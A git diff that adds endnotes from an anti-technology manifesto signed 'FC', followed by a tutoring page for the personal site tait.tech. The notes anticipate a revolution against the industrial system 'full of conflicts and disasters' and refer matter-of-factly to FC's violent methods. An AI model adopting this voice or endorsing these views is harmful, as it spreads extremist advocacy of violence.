(Catholicism, main-line Protestantism). The nearest thing to a strong, widespread, dynamic +religion that the West has seen in recent times has been the quasi-religion of leftism, but leftism today is fragmented and has no +clear, unified, inspiring goal. Thus there is a religious vacuum in our society that could perhaps be filled by a religion focused +on nature in opposition to technology. But it would be a mistake to try to concoct artificially a religion to fill this role. Such an +invented religion would probably be a failure. Take the “Gaia” religion for example. Do its adherents REALLY believe in it or +are they just play-acting? If they are just play-acting their religion will be a flop in the end. It is probably best not to try to +introduce religion into the conflict of nature vs. technology unless you REALLY believe in that religion yourself and find that +it arouses a deep, strong, genuine response in many other people. +31. (Paragraph 189) Assuming that such a final push occurs. Conceivably the industrial system might be eliminated in a +somewhat gradual or piecemeal fashion (see paragraphs 4, 167 and Note 4). +32. (Paragraph 193) It is even conceivable (remotely) that the revolution might consist only of a massive change of attitudes +toward technology resulting in a relatively gradual and painless disintegration of the industrial system. But if this happens we’ll +be very lucky. It’s far more probably that the transition to a non-technological society will be very difficult and full of conflicts +and disasters. +33. (Paragraph 195) The economic and technological structure of a society are far more important than its political structure in +determining the way the average man lives (see paragraphs 95, 119 and Notes 16, 18). +34. (Paragraph 215) This statement refers to our particular brand of anarchism. A wide variety of social attitudes have been +called “anarchist,” and it may be that many who consider themselves anarchists would not accept our statement of paragraph +215. It should be noted, by the way, that there is a nonviolent anarchist movement whose members probably would not accept +FC as anarchist and certainly would not approve of FC’s violent methods. +35. (Paragraph 219) Many leftists are motivated also by hostility, but the hostility probably results in part from a frustrated +need for power. +36. (Paragraph 229) It is important to understand that we mean someone who sympathizes with these MOVEMENTS as they +exist today in our society. One who believes that women, homosexuals, etc., should have equal rights is not necessary a leftist. +The feminist, gay rights, etc., movements that exist in our society have the particular ideological tone that characterizes leftism, +and if one believes, for example, that women should have equal rights it does not necessarily follow that one must sympathize +with the feminist movement as it exists today. diff --git a/tutoring/index.html b/tutoring/index.html new file mode 100644 index 0000000..ae5b0b2 --- /dev/null +++ b/tutoring/index.html @@ -0,0 +1,76 @@ + + + + + Tutoring | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Tutoring

    + +

    I believe in solving problems. +Learn how to solve your own unique computer-related problems by learning how they work underneath all the fancy buttons you see.

    + +

    Contact me at tutoring@tait.tech for more info.

    + +

    Rates/hour

    + +

    C$25 for a programming language I am comfortable with already.

    +
      +
    • C, C++, Java, Python, HTML/CSS/JS.
    • +
    + +

    C$20 + 1 week prep. time for a programming language I am not very comfortable with already.

    +
      +
    • Rust, Go, Node.js.
    • +
    + +

    C$35 for Linux system administration.

    +
      +
    • Paritioning disks, install and configure software and automate tasks via the command line interface (CLI).
    • +
    + +

    I offer group discounts for 2+ students.

    + +
    Resources:
    + +

    My favourite resources are the following:

    + + + +
    +
    + +
    + +